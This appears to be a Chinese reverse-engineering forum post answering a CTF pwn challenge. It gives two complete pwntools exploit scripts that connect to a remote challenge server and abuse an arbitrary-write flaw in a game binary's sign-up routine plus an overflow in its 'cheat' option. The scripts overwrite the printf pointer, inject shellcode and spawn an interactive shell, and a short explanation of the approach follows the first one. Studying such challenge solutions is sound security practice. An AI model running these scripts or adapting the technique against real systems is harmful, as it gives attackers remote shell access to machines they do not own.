-
-
[讨论]解答
-
发表于:
2017-11-7 01:00
2805
-
照虎画猫,把dalao们第四题的代码抄来改改,现学现用,pwntools真是好东西。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = '/bin/sh'
#p = process('./pwn')
p = remote("123.206.22.95", 8888)
def signin(name, passwd, character):
p.recvuntil("==============================")
p.recvuntil("==============================")
p.sendline("2")
p.recvuntil("input your username")
p.sendline(str(name))
p.recvuntil("input your password")
p.sendline(str(passwd))
p.recvuntil("input your character's name")
p.sendline(str(character))
def login(name, passwd):
p.recvuntil("==============================")
p.recvuntil("==============================")
p.sendline("1")
p.recvuntil("Input your username:")
p.sendline(str(name))
p.recvuntil("Input your password:")
p.sendline(str(passwd))
def cheat(content):
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("5")
p.recvuntil("content:")
p.sendline(str(content))
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("1")
name = p64(0x6050F0)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
name = p64(0x605038)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
name = p64(0x605020)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
payload = p64(0x9090909090909090)*3+asm(shellcraft.sh())
cheat(payload)
p.interactive()
大体思路:发现注册处在检查地址有效性时存在问题,将数据当做地址指针返回,导致可以任意地址写,结合cheat处的内存溢出,可以构造出攻击过程。
先注册三次,用前两次的用户名分别将printf函数和cheat的数据指针改写,最后用cheat将shellcode布进cheat的数据区,调用游戏内容的1号选项,将会触发printf函数,最终跑起shellcode。
尝试了一下,找到另一种做法:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = '/bin/sh'
#p = process('./pwn')
p = remote("123.206.22.95", 8888)
def signin(name, passwd, character):
p.recvuntil("==============================")
p.recvuntil("==============================")
p.sendline("2")
p.recvuntil("input your username")
p.sendline(str(name))
p.recvuntil("input your password")
p.sendline(str(passwd))
p.recvuntil("input your character's name")
p.sendline(str(character))
def login(name, passwd):
p.recvuntil("==============================")
p.recvuntil("==============================")
p.sendline("1")
p.recvuntil("Input your username:")
p.sendline(str(name))
p.recvuntil("Input your password:")
p.sendline(str(passwd))
def cheat1(name, content):
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("5")
p.recvuntil("name:")
p.sendline(str(content))
p.recvuntil("content:")
p.sendline(str(content))
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("0")
def cheat2(content):
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("5")
p.recvuntil("content:")
p.sendline(str(content))
p.recvuntil("#####################")
p.recvuntil("0.exit")
p.sendline("1")
name = p64(0x605038)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
cheat1('test', 'test')
name = p64(0x605020)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
payload = p64(0x9090909090909090)*11+p64(0x604F98)+p64(0x9090909090909090)*2+asm(shellcraft.sh())
cheat2(payload)
p.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)